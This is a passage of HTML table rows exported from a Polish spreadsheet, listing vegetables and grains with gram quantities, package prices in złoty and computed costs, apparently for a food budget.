<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Warzywa "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Warzywa </td><td data-sheets-value="{"1":3,"3":0}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0</td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Bakłażan "}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Bakłażan </td><td data-sheets-value="{"1":3,"3":1060}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1060</td><td data-sheets-value="{"1":2,"2":"6,99 zł za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,99 zł za kg </td><td data-sheets-value="{"1":3,"3":7.4}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">7,4</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Brokuł"}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Brokuł</td><td data-sheets-value="{"1":3,"3":690}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">690</td><td data-sheets-value="{"1":2,"2":"2,89 zł za 500 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,89 zł za 500 g</td><td data-sheets-value="{"1":3,"3":3.98}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,98</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Batat"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Batat</td><td data-sheets-value="{"1":3,"3":130}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">130</td><td data-sheets-value="{"1":2,"2":"6,99 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,99 za kg</td><td data-sheets-value="{"1":3,"3":0.9}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,9</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Cebula "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Cebula </td><td data-sheets-value="{"1":3,"3":1145}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1145</td><td data-sheets-value="{"1":2,"2":"3,99 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za kg</td><td data-sheets-value="{"1":3,"3":4.56}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,56</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Cukinia "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Cukinia </td><td data-sheets-value="{"1":3,"3":450}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">450</td><td data-sheets-value="{"1":2,"2":"2,99 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,99 za kg </td><td data-sheets-value="{"1":3,"3":1.34}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,34</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Czosnek "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Czosnek </td><td data-sheets-value="{"1":3,"3":106}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">106</td><td data-sheets-value="{"1":2,"2":"5,99 za 250 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,99 za 250 g</td><td data-sheets-value="{"1":3,"3":2.53}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,53</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Marchew "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Marchew </td><td data-sheets-value="{"1":3,"3":1110}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1110</td><td data-sheets-value="{"1":2,"2":"2,99 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,99 za kg</td><td data-sheets-value="{"1":3,"3":3.31}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,31</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ogórek"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ogórek</td><td data-sheets-value="{"1":3,"3":380}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">380</td><td data-sheets-value="{"1":2,"2":"4,99 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,99 za kg </td><td data-sheets-value="{"1":3,"3":1.89}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,89</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Papryka czerwona "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Papryka czerwona </td><td data-sheets-value="{"1":3,"3":1275}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1275</td><td data-sheets-value="{"1":2,"2":"3,75 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,75 zł za kg</td><td data-sheets-value="{"1":3,"3":4.78}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,78</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Parryka zielona "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Parryka zielona </td><td data-sheets-value="{"1":3,"3":130}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">130</td><td data-sheets-value="{"1":2,"2":"3,75 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,75 zł za kg</td><td data-sheets-value="{"1":3,"3":0.48}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,48</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pieczarka "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pieczarka </td><td data-sheets-value="{"1":3,"3":750}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">750</td><td data-sheets-value="{"1":2,"2":"4,49 zł za 500 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,49 zł za 500 g</td><td data-sheets-value="{"1":3,"3":6.73}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,73</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pietruszka Korzeń "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pietruszka Korzeń </td><td data-sheets-value="{"1":3,"3":560}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">560</td><td data-sheets-value="{"1":2,"2":"9,99 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">9,99 za kg</td><td data-sheets-value="{"1":3,"3":5.59}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,59</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pomidor"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pomidor</td><td data-sheets-value="{"1":3,"3":760}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">760</td><td data-sheets-value="{"1":2,"2":"5,49 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,49 za kg </td><td data-sheets-value="{"1":3,"3":4.17}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,17</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pomidor koktajlowy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pomidor koktajlowy </td><td data-sheets-value="{"1":3,"3":350}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">350</td><td data-sheets-value="{"1":2,"2":"5,99 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,99 za kg </td><td data-sheets-value="{"1":3,"3":2.09}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,09</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Roszponka "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Roszponka </td><td data-sheets-value="{"1":3,"3":120}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">120</td><td data-sheets-value="{"1":2,"2":"3,99 zł za 150 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 zł za 150 g</td><td data-sheets-value="{"1":3,"3":3.19}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,19</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Rukola "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Rukola </td><td data-sheets-value="{"1":3,"3":153}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">153</td><td data-sheets-value="{"1":2,"2":"2,99 za 180 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,99 za 180 g</td><td data-sheets-value="{"1":3,"3":2.54}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,54</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Rzodkiweka "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Rzodkiweka </td><td data-sheets-value="{"1":3,"3":130}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">130</td><td data-sheets-value="{"1":2,"2":"0,95 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,95 za 100 g</td><td data-sheets-value="{"1":3,"3":1.23}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,23</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Seler Korzeniowy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Seler Korzeniowy </td><td data-sheets-value="{"1":3,"3":485}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">485</td><td data-sheets-value="{"1":2,"2":"2,79 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,79 za kg</td><td data-sheets-value="{"1":3,"3":1.33}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,33</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Seler Naciowy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Seler Naciowy </td><td data-sheets-value="{"1":3,"3":130}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">130</td><td data-sheets-value="{"1":2,"2":"0,49 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,49 za 100 g</td><td data-sheets-value="{"1":3,"3":6.63}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,63</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Szczypiorek "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Szczypiorek </td><td data-sheets-value="{"1":3,"3":6}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6</td><td data-sheets-value="{"1":3,"3":1.29}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,29</td><td data-sheets-value="{"1":3,"3":0.2}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,2</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Szpinak "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Szpinak </td><td data-sheets-value="{"1":3,"3":280}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">280</td><td data-sheets-value="{"1":2,"2":"4,49 zł za 200"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,49 zł za 200</td><td data-sheets-value="{"1":3,"3":6.286}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,286</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ziemniaki "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ziemniaki </td><td data-sheets-value="{"1":3,"3":800}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">800</td><td data-sheets-value="{"1":2,"2":"1,99 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,99 za kg</td><td data-sheets-value="{"1":3,"3":1.59}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,59</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Zbożowe "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Zbożowe </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Fasola "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Fasola </td><td data-sheets-value="{"1":3,"3":40}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">40</td><td data-sheets-value="{"1":2,"2":"4,20 za 400 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,20 za 400 g</td><td data-sheets-value="{"1":3,"3":0.42}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,42</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Kasza gryczana "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Kasza gryczana </td><td data-sheets-value="{"1":3,"3":625}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">625</td><td data-sheets-value="{"1":2,"2":"3,99 za 400g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za 400g</td><td data-sheets-value="{"1":3,"3":6.23}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,23</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Makaron Pełnoziarnisty "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Makaron Pełnoziarnisty </td><td data-sheets-value="{"1":3,"3":435}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">435</td><td data-sheets-value="{"1":2,"2":"5,90 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,90 za kg </td><td data-sheets-value="{"1":3,"3":2.56}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,56</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mąka Pszenna 1850 "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mąka Pszenna 1850 </td><td data-sheets-value="{"1":3,"3":790}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">790</td><td data-sheets-value="{"1":2,"2":"5,39 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,39 za kg</td><td data-sheets-value="{"1":3,"3":4.25}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,25</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Płatki Owsiane "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Płatki Owsiane </td><td data-sheets-value="{"1":3,"3":765}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">765</td><td data-sheets-value="{"1":2,"2":"1,95 za 500 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,95 za 500 g</td><td data-sheets-value="{"1":3,"3":2.98}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,98</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ryż Basmati "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ryż Basmati </td><td data-sheets-value="{"1":3,"3":470}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">470</td><td data-sheets-value="{"1":2,"2":"3,29 zł za 400 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,29 zł za 400 g</td><td data-sheets-value="{"1":3,"3":3.86}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,86</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ryż Brązowy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ryż Brązowy </td><td data-sheets-value="{"1":3,"3":860}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">860</td><td data-sheets-value="{"1":2,"2":"2,89 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,89 zł za kg</td><td data-sheets-value="{"1":3,"3":2.48}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,48</td></tr>
